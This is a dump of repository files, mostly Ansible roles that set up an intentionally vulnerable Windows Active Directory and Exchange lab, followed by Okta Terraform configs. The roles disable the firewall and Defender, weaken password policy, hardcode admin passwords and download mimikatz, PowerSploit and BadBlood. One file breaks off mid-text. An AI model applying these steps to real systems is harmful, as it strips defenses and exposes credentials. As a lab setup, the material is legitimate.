15 | win_shell: Install-AdcsCertificationAuthority -CAType EnterpriseRootCa -CryptoProviderName "RSA#Microsoft Software Key Storage Provider" -KeyLength 2048 -HashAlgorithmName SHA256 -Force
16 | register: pri_adcs_enrollment_config
17 | changed_when: pri_adcs_enrollment_config.rc == 0
18 | failed_when:
19 | - pri_adcs_enrollment_config.rc != 0
20 | - '"The Certification Authority is already installed" not in (pri_adcs_enrollment_config.stderr | regex_replace("\r\n", ""))'
21 | become: yes
22 | become_user: SYSTEM
23 | become_method: runas
24 |
25 | # NOTE: the template data was manually exported from another AD CS server where
26 | # I manually crafted the template. Saves a lot of code to build the template
27 | # through Ansible, also a lot of headaches to find out how to structure the
28 | # template
29 | - name: import the certificate template into AD CS
30 | win_adcs_template:
31 | templates: '{{ lookup("template", "adcs_template.xml.j2") }}'
32 | dacl:
33 | - user: Authenticated Users
34 | rights:
35 | - list_child
36 | - read_prop
37 | - list_object
38 | - read_control
39 | qualifier: AccessAllowed
40 | - user: Domain Computers
41 | rights:
42 | - list_child
43 | - read_prop
44 | - read_control
45 | qualifier: AccessAllowed
46 | - user: Domain Admins
47 | rights:
48 | - create_child
49 | - delete_child
50 | - list_child
51 | - self_write
52 | - read_prop
53 | - write_prop
54 | - delete_tree
55 | - list_object
56 | - delete
57 | - read_control
58 | - write_dac
59 | - write_owner
60 | qualifier: AccessAllowed
61 | - user: Enterprise Admins
62 | rights:
63 | - create_child
64 | - delete_child
65 | - list_child
66 | - self_write
67 | - read_prop
68 | - write_prop
69 | - delete_tree
70 | - list_object
71 | - delete
72 | - read_control
73 | - write_dac
74 | - write_owner
75 | qualifier: AccessAllowed
76 | - user: Domain Computers
77 | rights:
78 | - control_access
79 | type: auto_enroll
80 | qualifier: AccessAllowed
81 | - user: Domain Computers
82 | rights:
83 | - read_prop
84 | - write_prop
85 | - control_access
86 | type: enroll
87 | qualifier: AccessAllowed
88 | - user: Domain Admins
89 | rights:
90 | - read_prop
91 | - write_prop
92 | - control_access
93 | type: enroll
94 | qualifier: AccessAllowed
95 | - user: Enterprise Admins
96 | rights:
97 | - read_prop
98 | - write_prop
99 | - control_access
100 | type: enroll
101 | qualifier: AccessAllowed
102 | owner: Enterprise Admins
103 | group: Enterprise Admins
104 |
105 | - name: check if the template has already been set in CA
106 | win_shell: if (Get-CATemplate | Where-Object { $_.Name -eq "{{ pri_adcs_enrollment_template_name }}" }) { $true } else { $false }
107 | register: pri_adcs_enrollment_template_in_ca
108 | changed_when: no
109 |
110 | - name: add imported certificate template to AD CS
111 | win_shell: Add-CATemplate -Name {{ pri_adcs_enrollment_template_name | quote }} -Force
112 | when: not pri_adcs_enrollment_template_in_ca.stdout_lines[0]|bool
113 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/tasks/gpo.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: check if the GPO has already been imported
3 | win_shell: if (Get-GPO -Name {{ pri_adcs_enrollment_gpo_name | quote }} -ErrorAction SilentlyContinue) { $true } else { $false }
4 | register: pri_adcs_enrollment_gpo_exists
5 | changed_when: no
6 |
7 | - block:
8 | - name: create backup folder on host for GPO
9 | win_file:
10 | path: C:\temp\{{ pri_adcs_enrollment_gpo_name }}-backup
11 | state: directory
12 |
13 | - name: copy across backup of GPO
14 | win_copy:
15 | src: gpo_backup/
16 | dest: C:\temp\{{ pri_adcs_enrollment_gpo_name }}-backup\
17 |
18 | - name: restore GPO from backup
19 | win_shell: Import-GPO -BackupGpoName {{ pri_adcs_enrollment_gpo_name | quote }} -TargetName {{ pri_adcs_enrollment_gpo_name | quote }} -Path C:\temp\{{ pri_adcs_enrollment_gpo_name }}-backup -CreateIfNeeded
20 |
21 | - name: delete backup folder on host
22 | win_file:
23 | path: C:\temp\{{ pri_adcs_enrollment_gpo_name }}-backup
24 | state: absent
25 |
26 | when: not pri_adcs_enrollment_gpo_exists.stdout_lines[0]|bool
27 |
28 | # The backup GPO has an ID that is unique to the domain it came from, these
29 | # next 2 tasks get's the ID for this domain's auto enroll policy and set's
30 | # that onto the newly imported domain
31 | - name: get policy server ID
32 | win_shell: (Get-CertificateEnrollmentPolicyServer -Scope All -Context Machine).Id
33 | register: pri_adcs_enrollment_policy_id
34 | changed_when: no
35 |
36 | - name: set the policy server ID for the GPO
37 | win_gpo_reg:
38 | gpo: '{{ pri_adcs_enrollment_gpo_name }}'
39 | path: HKLM\Software\Policies\Microsoft\Cryptography\PolicyServers\{{ item.path | default('') }}
40 | name: '{{ item.name | default(omit) }}'
41 | value: "{{ pri_adcs_enrollment_policy_id.stdout_lines[0] }}"
42 | type: String
43 | with_items:
44 | - {}
45 | - path: 37c9dc30f207f27f61a2f7c3aed598a6e2920b54
46 | name: PolicyID
47 |
48 | - name: ensure GPO is linked and enforced
49 | win_gpo_link:
50 | name: '{{ pri_adcs_enrollment_gpo_name }}'
51 | state: present
52 | enforced: yes
53 | enabled: yes
54 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: setup up AD CS and create auto enroll template
3 | include_tasks: adcs_template.yml
4 |
5 | - name: import the auto enroll GPO policy
6 | include_tasks: gpo.yml
7 |
8 | - name: get the PEM encoded cert chain from ADCS and store as a variable
9 | win_shell: |
10 | $raw_ca_name = (&certutil.exe -CAInfo name)[0]
11 | $raw_ca_name -match "CA Name: (.*)" > $null
12 | $ca_name = $matches[1]
13 | $certificate = Get-ChildItem Cert:\LocalMachine\Root | Where-Object { $_.Subject.StartsWith("CN=$ca_name") }
14 | $cert_bytes = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
15 | [System.Convert]::ToBase64String($cert_bytes, [System.Base64FormattingOptions]::InsertLineBreaks)
16 | register: pri_adcs_enrollment_chain_thumbprint_raw
17 | changed_when: no
18 |
19 | - name: set PEM encoded cert as fact with correct headers
20 | set_fact:
21 | out_adcs_enrollment_chain_thumbprint: "-----BEGIN CERTIFICATE-----\n{{ pri_adcs_enrollment_chain_thumbprint_raw.stdout_lines|join('\n') }}\n-----END CERTIFICATE-----"
22 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/vars/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | pri_adcs_enrollment_template_name: WorkstationCertAutoEnroll
3 | pri_adcs_enrollment_gpo_name: WorkstationCertificateAutoEnroll
4 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/defaults/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | username: mondoo
3 | password: mondoo.com
4 | domain_name: mondoo.hacklab
5 | man_adcs_winrm_domain: '{{ domain_name }}'
6 | domain_admin: Administrator
7 | domain_admin_password: MondooSPM1!
8 | netbios_name: MONDOO
9 | domain_mode: WinThreshold
10 | dns_server:
11 | - 10.0.4.10
12 | - 8.8.8.8
13 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/create-domain.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Install domain controller
3 | win_feature:
4 | name: AD-Domain-Services
5 | include_management_tools: yes
6 | include_sub_features: yes
7 | state: present
8 | register: win_feature
9 |
10 | - name: Reboot after install AD role
11 | ansible.windows.win_reboot:
12 | #post_reboot_delay: 120
13 | #test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"'
14 | #reboot_timeout: 3600
15 | when: win_feature.reboot_required
16 |
17 | - name: Deploy {{ domain_name }} Domain
18 | microsoft.ad.domain:
19 | create_dns_delegation: no
20 | database_path: C:\Windows\NTDS
21 | dns_domain_name: "{{ domain_name }}"
22 | install_dns: true
23 | domain_mode: "{{ domain_mode }}"
24 | domain_netbios_name: "{{ netbios_name }}"
25 | forest_mode: "{{ domain_mode }}"
26 | safe_mode_password: "{{ password }}"
27 | sysvol_path: C:\Windows\SYSVOL
28 | register: domain_install
29 |
30 | - name: Reboot server if required
31 | ansible.windows.win_reboot:
32 | #post_reboot_delay: 120
33 | #test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"'
34 | #reboot_timeout: 3600
35 | when: domain_install.reboot_required
36 |
37 | - name: Ensure the server is a domain controller
38 | microsoft.ad.domain_controller:
39 | dns_domain_name: "{{ domain_name }}"
40 | safe_mode_password: "{{ password }}"
41 | domain_admin_user: "{{ domain_name }}\\{{ domain_admin }}"
42 | domain_admin_password: "{{ domain_admin_password }}"
43 | state: domain_controller
44 | register: dc_created
45 |
46 | - name: Reboot server if required
47 | ansible.windows.win_reboot:
48 | #post_reboot_delay: 120
49 | #test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"'
50 | #reboot_timeout: 3600
51 | when: dc_created.reboot_required
52 |
53 | - name: Wait for domain controller to be ready
54 | ansible.windows.win_shell: |
55 | Get-ADDomain -Server "{{ domain_name }}"
56 | register: dc_ready
57 | until: dc_ready is not failed
58 | ignore_errors: yes
59 | retries: 60
60 | delay: 15
61 |
62 | - name: check badblood execution
63 | ansible.windows.win_stat:
64 | path: C:\Tools\badblood\badblood-executed.txt
65 | register: badbloodexec
66 |
67 | - name: Run PowerShell to execute badblood
68 | ansible.windows.win_powershell:
69 | script: |
70 | C:\Tools\badblood\BadBlood-master\Invoke-BadBlood.ps1 -NonInteractive $True
71 | when: not badbloodexec.stat.exists
72 |
73 | - name: badblood create file
74 | ansible.windows.win_file:
75 | path: C:\Tools\badblood\badblood-executed.txt
76 | state: touch
77 |
78 | - name: Ensure user {{ username }} is present and Domain Admin
79 | microsoft.ad.user:
80 | name: "{{ username }}"
81 | description: Domain Account
82 | password_never_expires: yes
83 | groups:
84 | set:
85 | - Domain Admins
86 | - Schema Admins
87 | - Enterprise Admins
88 | - Remote Desktop Users
89 | state: present
90 |
91 | - name: Remove {{ username }} from Protected Users group
92 | microsoft.ad.group:
93 | name: Protected Users
94 | members:
95 | remove:
96 | - "{{ username }}"
97 | - Administrator
98 | state: present
99 |
100 | - name: Reboot server if required
101 | ansible.windows.win_reboot:
102 | test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"'
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/create-local-admin.yml:
--------------------------------------------------------------------------------
1 | # create new user and add to local admin group
2 | - name: create mondoo user
3 | ansible.windows.win_user:
4 | name: "{{ username }}"
5 | password: "{{ password }}"
6 | state: present
7 | groups:
8 | - Administrators
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/dns-config.yml:
--------------------------------------------------------------------------------
1 | - name: Set dns server on all visible adapters
2 | ansible.windows.win_dns_client:
3 | adapter_names: '*'
4 | dns_servers:
5 | - "{{ dns_server }}"
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/join-to-domain.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Domain Join
3 | microsoft.ad.membership:
4 | dns_domain_name: '{{ domain_name }}'
5 | domain_admin_user: '{{ username }}'
6 | domain_admin_password: '{{ password }}'
7 | state: domain
8 | register: domain_join
9 |
10 | - name: reboot Windows
11 | ansible.windows.win_reboot:
12 | test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"'
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/windows-ad/tasks/prepare-system.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # tasks file for windows-common
3 |
4 | - name: Install RSAT Tools
5 | ansible.windows.win_feature:
6 | name:
7 | - RSAT-AD-PowerShell
8 | - RSAT-AD-AdminCenter
9 | state: present
10 | register: rsat_install
11 |
12 | # disable ipv6
13 | - name: Run PowerShell to disable ipv6
14 | ansible.windows.win_powershell:
15 | script: |
16 | Get-NetAdapterBinding -ComponentID ms_tcpip6 | ForEach-Object {Disable-NetAdapterBinding -Name $_.Name -ComponentID ms_tcpip6}
17 | Get-NetAdapterBinding -ComponentID ms_tcpip6
18 |
19 | - name: set registry key to disable ipv6
20 | ansible.windows.win_regedit:
21 | path: HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters
22 | name: "DisabledComponents"
23 | data: "255"
24 | type: dword
25 |
26 | # disable windows firewall
27 | - name: Run PowerShell to disable Firewall
28 | ansible.windows.win_powershell:
29 | script: |
30 | netsh advfirewall set allprofiles state off
31 |
32 | # disable windows defender
33 | - name: Uninstall Windows Defender
34 | ansible.windows.win_feature:
35 | name:
36 | - Windows-Defender
37 | state: absent
38 | - name: Run PowerShell to disable defender
39 | ansible.windows.win_powershell:
40 | script: |
41 | Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue
42 | Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue
43 | Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue
44 | Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue
45 | Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue
46 | Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue
47 | Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue
48 | Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue
49 | Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue
50 | Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue
51 |
52 | # disable windows password complexity
53 | - name: Run PowerShell to disable password complexity
54 | ansible.windows.win_powershell:
55 | script: |
56 | secedit /export /cfg C:\secpol.cfg
57 | (gc C:\secpol.cfg).replace("PasswordComplexity = 1", "PasswordComplexity = 0") | Out-File C:\secpol.cfg
58 | secedit /configure /db C:\Windows\security\local.sdb /cfg C:\secpol.cfg /areas SECURITYPOLICY
59 | rm -force C:\secpol.cfg -confirm:$false
60 |
61 | - name: Create tools directory
62 | ansible.windows.win_file:
63 | path: C:\Tools
64 | state: directory
65 |
66 | - name: Check if atomic red team exists
67 | ansible.windows.win_stat:
68 | path: C:\Tools\atomic-red-team.zip
69 | register: atomic_stat_result
70 |
71 | - name: Download atomic red team
72 | ansible.windows.win_get_url:
73 | url: https://github.com/redcanaryco/invoke-atomicredteam/archive/refs/heads/master.zip
74 | dest: C:\Tools\atomic-red-team.zip
75 | when: not atomic_stat_result.stat.exists
76 |
77 | - name: decompress atomic red team zip
78 | community.windows.win_unzip:
79 | src: C:\Tools\atomic-red-team.zip
80 | dest: C:\Tools\atomic-red-team
81 | creates: C:\Tools\atomic-red-team
82 |
83 | - name: Check if mimikatz exists
84 | ansible.windows.win_stat:
85 | path: C:\Tools\mimikatz.zip
86 | register: mimikatz_stat_result
87 |
88 | - name: Download mimikatz
89 | ansible.windows.win_get_url:
90 | url: https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
91 | dest: C:\Tools\mimikatz.zip
92 | when: not mimikatz_stat_result.stat.exists
93 |
94 | - name: decompress mimikatz zip
95 | community.windows.win_unzip:
96 | src: C:\Tools\mimikatz.zip
97 | dest: C:\Tools\mimikatz
98 | creates: C:\Tools\mimikatz
99 |
100 | - name: Check if powersploit exists
101 | ansible.windows.win_stat:
102 | path: C:\Tools\powersploit.zip
103 | register: powersploit_stat_result
104 |
105 | - name: Download powersploit
106 | ansible.windows.win_get_url:
107 | url: https://github.com/PowerShellMafia/PowerSploit/archive/refs/heads/master.zip
108 | dest: C:\Tools\powersploit.zip
109 | when: not powersploit_stat_result.stat.exists
110 |
111 | - name: decompress powersploit zip
112 | community.windows.win_unzip:
113 | src: C:\Tools\powersploit.zip
114 | dest: C:\Tools\powersploit
115 | creates: C:\Tools\powersploit
116 |
117 | - name: Check if purplesharp exists
118 | ansible.windows.win_stat:
119 | path: C:\Tools\PurpleSharp_x64.exe
120 | register: purplesharp_stat_result
121 |
122 | - name: Download purplesharp
123 | ansible.windows.win_get_url:
124 | url: https://github.com/mvelazc0/PurpleSharp/releases/download/v1.3/PurpleSharp_x64.exe
125 | dest: C:\Tools\PurpleSharp_x64.exe
126 | when: not purplesharp_stat_result.stat.exists
127 |
128 | - name: Check if badblood exists
129 | ansible.windows.win_stat:
130 | path: C:\Tools\badblood.zip
131 | register: badblood_stat_result
132 |
133 | - name: Download badblood
134 | ansible.windows.win_get_url:
135 | url: https://github.com/davidprowe/BadBlood/archive/master.zip
136 | dest: C:\Tools\badblood.zip
137 | when: not badblood_stat_result.stat.exists
138 |
139 | - name: decompress badblood zip
140 | community.windows.win_unzip:
141 | src: C:\Tools\badblood.zip
142 | dest: C:\Tools\badblood
143 | creates: C:\Tools\badblood
144 |
145 | #- name: Reboot the server
146 | # ansible.windows.win_powershell:
147 | # script: Restart-Computer -Force
148 | #
149 | #- name: Wait 2 mins for server to reboot
150 | # pause:
151 | # seconds: 120
152 |
153 | # in the vagrant env the win_reboot is not working
154 | - name: reboot if RSAT Tools feature requires it
155 | ansible.windows.win_reboot:
156 | #post_reboot_delay: 120
157 | test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"'
158 | #reboot_timeout: 3600
159 | when: rsat_install.reboot_required
160 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/windows-exchange/defaults/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | username: mondoo
3 | password: mondoo.com
4 | domain_name: mondoo.hacklab
5 | man_adcs_winrm_domain: '{{ domain_name }}'
6 | domain_admin: Administrator
7 | domain_admin_password: MondooSPM1!
8 | netbios_name: MONDOO
9 | domain_mode: WinThreshold
10 | dns_server:
11 | - 10.0.4.10
12 | - 8.8.8.8
13 | exchange_folder: C:\exchange2016
14 | exchange_iso: C:\Tools\ExchangeServer2016-x64-cu12.iso
15 | exchange_url: https://download.microsoft.com/download/2/5/8/258D30CF-CA4C-433A-A618-FB7E6BCC4EEE/ExchangeServer2016-x64-cu12.iso
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/windows-exchange/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Install Windows features for exchange
3 | ansible.windows.win_feature:
4 | name:
5 | - NET-Framework-45-Features
6 | - NET-WCF-HTTP-Activation45
7 | - RPC-over-HTTP-proxy
8 | - RSAT-ADDS
9 | - RSAT-ADDS-Tools
10 | - RSAT-Clustering
11 | - RSAT-Clustering-CmdInterface
12 | - RSAT-Clustering-Mgmt
13 | - RSAT-Clustering-PowerShell
14 | - Web-ASP-NET45
15 | - Web-Digest-Auth
16 | - Web-Mgmt-Console
17 | - Web-Mgmt-Service
18 | - Web-Net-Ext45
19 | - Web-WMI
20 | - WAS-Process-Model
21 | - Web-Basic-Auth
22 | - Web-Client-Auth
23 | - Web-Dir-Browsing
24 | - Web-Dyn-Compression
25 | - Web-Http-Errors
26 | - Web-Http-Logging
27 | - Web-Http-Redirect
28 | - Web-Http-Tracing
29 | - Web-ISAPI-Ext
30 | - Web-ISAPI-Filter
31 | - Web-Lgcy-Mgmt-Console
32 | - Web-Metabase
33 | - Web-Request-Monitor
34 | - Web-Server
35 | - Web-Stat-Compression
36 | - Web-Static-Content
37 | - Web-Windows-Auth
38 | - Web-WMI
39 | - Windows-Identity-Foundation
40 | state: present
41 | register: feature_install
42 |
43 | - name: reboot if Tools feature requires it
44 | ansible.windows.win_reboot:
45 | when: feature_install.reboot_required
46 |
47 | - name: Install ucma, netfx and vcredist2013 via choco
48 | chocolatey.chocolatey.win_chocolatey:
49 | name:
50 | - ucma4
51 | - netfx-4.8
52 | - vcredist2013
53 | state: present
54 |
55 | - name: reboot after choco installations
56 | ansible.windows.win_reboot:
57 |
58 | - name: Check if exchange iso exists
59 | ansible.windows.win_stat:
60 | path: C:\Tools\ExchangeServer2016-x64-cu12.iso
61 | register: stat_result
62 |
63 | - name: Download Exchange 2016 ISO
64 | ansible.windows.win_get_url:
65 | url: "{{ exchange_url }}"
66 | dest: "{{ exchange_iso }}"
67 | when: not stat_result.stat.exists
68 |
69 | - name: Ensure Exchange ISO is mounted
70 | community.windows.win_disk_image:
71 | image_path: "{{ exchange_iso }}"
72 | state: present
73 | register: iso_mount
74 |
75 | - name: Prepare Schema
76 | ansible.windows.win_powershell:
77 | script: |
78 | D:\\Setup.exe /IAcceptExchangeServerLicenseTerms /PrepareSchema
79 | vars:
80 | ansible_become: yes
81 | ansible_become_method: runas
82 | ansible_become_user: "{{ domain_name }}\\{{ domain_admin }}"
83 | ansible_become_password: "{{ domain_admin_password }}"
84 | register: prepare_schema
85 |
86 | - name: Prepare AD
87 | ansible.windows.win_powershell:
88 | script: |
89 | D:\\Setup.exe /IAcceptExchangeServerLicenseTerms /PrepareAD /OrganizationName: mondoo
90 | vars:
91 | ansible_become: yes
92 | ansible_become_method: runas
93 | ansible_become_user: "{{ domain_name }}\\{{ domain_admin }}"
94 | ansible_become_password: "{{ domain_admin_password }}"
95 | register: prepare_ad
96 |
97 | - name: Install Exchange
98 | ansible.windows.win_powershell:
99 | script: |
100 | D:\\Setup.exe /IAcceptExchangeServerLicenseTerms /Mode:Install /Role:Mailbox /OrganizationName: mondoo
101 | vars:
102 | ansible_become: yes
103 | ansible_become_method: runas
104 | ansible_become_user: "{{ domain_name }}\\{{ domain_admin }}"
105 | ansible_become_password: "{{ domain_admin_password }}"
106 | register: install_exchange
107 |
108 | - name: reboot after exchange installation
109 | ansible.windows.win_reboot:
110 | pre_reboot_delay: 5
111 | reboot_timeout: 600
112 | post_reboot_delay: 60
113 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/windows-deploy-ad.yml:
--------------------------------------------------------------------------------
1 | - name: Deploy AD
2 | hosts: dc
3 | gather_facts: yes
4 | become: no
5 | tasks:
6 | - name: Prepare DC
7 | import_role:
8 | name: windows-ad
9 | tasks_from: prepare-system
10 | - name: Create new lokal Admin
11 | import_role:
12 | name: windows-ad
13 | tasks_from: create-local-admin
14 | - name: Create Domain
15 | import_role:
16 | name: windows-ad
17 | tasks_from: create-domain
18 | - name:
19 | import_role:
20 | name: adcs-enrollment
21 | tasks_from: main
22 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/windows-dvwa.yml:
--------------------------------------------------------------------------------
1 | - name: DVWA
2 | hosts: dvwa
3 | gather_facts: yes
4 | become: no
5 |
6 | tasks:
7 | - name: Configure DNS Client
8 | import_role:
9 | name: windows-ad
10 | tasks_from: dns-config
11 | - name: Prepare System
12 | import_role:
13 | name: windows-ad
14 | tasks_from: prepare-system
15 | - name: Join to domain
16 | import_role:
17 | name: windows-ad
18 | tasks_from: join-to-domain
19 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/windows-exchange.yml:
--------------------------------------------------------------------------------
1 | - name: Deploy Exchange
2 | hosts: exchange
3 | gather_facts: yes
4 | become: no
5 |
6 | tasks:
7 | - name: Configure DNS Client
8 | import_role:
9 | name: windows-ad
10 | tasks_from: dns-config
11 | - name: Prepare System
12 | import_role:
13 | name: windows-ad
14 | tasks_from: prepare-system
15 | - name: Join to domain
16 | import_role:
17 | name: windows-ad
18 | tasks_from: join-to-domain
19 | - name: install exchange
20 | import_role:
21 | name: windows-exchange
22 | tasks_from: main
23 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/output.tf:
--------------------------------------------------------------------------------
1 | ################################################################################
2 | # Additional
3 | ################################################################################
4 |
5 | #output "region" {
6 | # description = "AWS region"
7 | # value = var.region
8 | #}
9 | #
10 | #output "current-aws-account" {
11 | # description = "Current AWS account"
12 | # value = data.aws_caller_identity.current.account_id
13 | #}
14 | #
15 | #output "aws-availability-zones" {
16 | # description = "current aws availability zones"
17 | # value = data.aws_availability_zones.available.names
18 | #}
19 |
20 | output "hack_write_up" {
21 | value = < tfplan.json
70 | ```
71 |
72 | #### Scan the Terraform tfplan.json
73 |
74 | ```typescript
75 | cnspec scan terraform plan tfplan.json -f policies/okta-security.mql.yaml
76 | ```
77 |
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/assets/healthinsights-passed.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/okta/okta-terraform-provisioning/assets/healthinsights-passed.png
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/assets/okta-dev.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/okta/okta-terraform-provisioning/assets/okta-dev.png
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/main.tf:
--------------------------------------------------------------------------------
1 | data "okta_everyone_group" "everyone_group" {}
2 |
3 | data "okta_groups" "default" {}
4 |
5 | // GROUPS
6 |
7 | resource "okta_group" "super_admins" {
8 | name = "Super Admins"
9 | description = "Super Admin groups"
10 | }
11 |
12 | resource "okta_group_role" "super_admins_role" {
13 | group_id = okta_group.super_admins.id
14 | role_type = "SUPER_ADMIN"
15 | }
16 |
17 | resource "okta_group" "org_admins" {
18 | name = "Org Admins"
19 | description = "Org admin group"
20 | }
21 |
22 | resource "okta_group_role" "org_admin_role" {
23 | group_id = okta_group.org_admins.id
24 | role_type = "ORG_ADMIN"
25 | }
26 |
27 |
28 | resource "okta_group" "developers" {
29 | name = "Developers"
30 | description = "Developer group"
31 | }
32 |
33 | resource "okta_group_role" "dev_app_admin_role" {
34 | group_id = okta_group.developers.id
35 | role_type = "APP_ADMIN"
36 | }
37 |
38 | resource "okta_group_memberships" "dev" {
39 | group_id = okta_group.developers.id
40 | users = [
41 | okta_user.jane_doe.id,
42 | ]
43 | }
44 |
45 | resource "okta_group" "api_admins" {
46 | name = "API Admins"
47 | description = "API admin groups"
48 | }
49 |
50 | resource "okta_group_role" "api_admin_role" {
51 | group_id = okta_group.api_admins.id
52 | role_type = "API_ACCESS_MANAGEMENT_ADMIN"
53 | }
54 |
55 | resource "okta_group_memberships" "api_admins" {
56 | group_id = okta_group.api_admins.id
57 | users = [
58 | okta_user.jane_doe.id,
59 | ]
60 | }
61 |
62 | // USERS
63 |
64 | resource "okta_user" "jane_doe" {
65 | first_name = "Jane"
66 | last_name = "Doe"
67 | login = "jdoe@example.com"
68 | email = "jdoe@example.com"
69 | }
70 |
71 | output "groups" {
72 | value = data.okta_groups.default.groups
73 | }
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/okta_factor.tf:
--------------------------------------------------------------------------------
1 | // "fido_u2f", "fido_webauthn", "google_otp", "okta_call", "okta_otp", "okta_password", "okta_push", "okta_question", "okta_sms", "okta_email", "rsa_token", "symantec_vip", "yubikey_token", or "hotp".
2 |
3 | resource "okta_factor" "google_otp" {
4 | provider_id = "google_otp"
5 | active = true
6 | }
7 |
8 | resource "okta_factor" "okta_password" {
9 | provider_id = "okta_password"
10 | active = true
11 | }
12 |
13 | resource "okta_factor" "okta_otp" {
14 | provider_id = "okta_otp"
15 | active = true
16 | }
17 |
18 | resource "okta_factor" "okta_push" {
19 | provider_id = "okta_push"
20 | active = true
21 | }
22 |
23 | resource "okta_policy_mfa_default" "classic_default" {
24 | is_oie = false
25 |
26 | okta_password = {
27 | enroll = "REQUIRED"
28 | }
29 |
30 | okta_otp = {
31 | enroll = "REQUIRED"
32 | }
33 |
34 | okta_push = {
35 | enroll = "REQUIRED"
36 | }
37 | }
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/okta_policy_password_default.tf:
--------------------------------------------------------------------------------
1 | resource "okta_policy_password_default" "default" {
2 | password_min_length = var.password_minimum_length
3 | password_min_lowercase = var.password_min_lowercase
4 | password_min_number = var.password_min_number
5 | password_min_symbol = var.password_min_symbol
6 | password_min_age_minutes = var.password_min_age_minutes
7 | password_exclude_username = var.password_exclude_username
8 | password_exclude_first_name = var.password_exclude_first_name
9 | password_exclude_last_name = var.password_exclude_last_name
10 | password_dictionary_lookup = var.password_dictionary_lookup
11 | password_max_age_days = var.password_max_age_days
12 | password_expire_warn_days = var.password_expire_warn_days
13 | password_history_count = var.password_history_count
14 | password_max_lockout_attempts = var.password_max_lockout_attempts
15 | password_auto_unlock_minutes = var.password_auto_unlock_minutes
16 | password_show_lockout_failures = var.password_show_lockout_failures
17 | email_recovery = var.email_recovery
18 | sms_recovery = var.sms_recovery
19 | question_recovery = var.question_recovery
20 | }
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/okta_security_notification_emails.tf:
--------------------------------------------------------------------------------
1 | resource "okta_security_notification_emails" "this" {
2 | report_suspicious_activity_enabled = true
3 | send_email_for_factor_enrollment_enabled = true
4 | send_email_for_factor_reset_enabled = true
5 | send_email_for_new_device_enabled = true
6 | send_email_for_password_changed_enabled = true
7 | }
--------------------------------------------------------------------------------
/okta/okta-terraform-provisioning/okta_threat_insight_settings.tf:
--------------------------------------------------------------------------------
1 | data "okta_network_zone" "BlockedIpZoneDefault" {
2 | name = "BlockedIpZoneDefault"
3 | }
4 |
5 | data "okta_network_zone" "LegacyIpZone" {
6 | name = "LegacyIpZone"
7 | }
8 |
9 | resource "okta_network_zone" "ip_network_zone_blocked" {
10 | name = "WhiteListedIPs"
11 | type = "IP"
12 | gateways = ["98.24.172.148-98.24.172.148"]
13 | proxies = ["98.24.172.148-98.24.172.148"]
14 | }
15 |
16 | resource "okta_network_zone" "blockedips" {
17 | name = "BlockedIpZone"
18 | type = "IP"
19 | usage = "BLOCKLIST"
20 | gateways = ["2.58.56.101-2.58.56.101", "23.128.248.39-23.128.248.39"]
21 | }
22 |
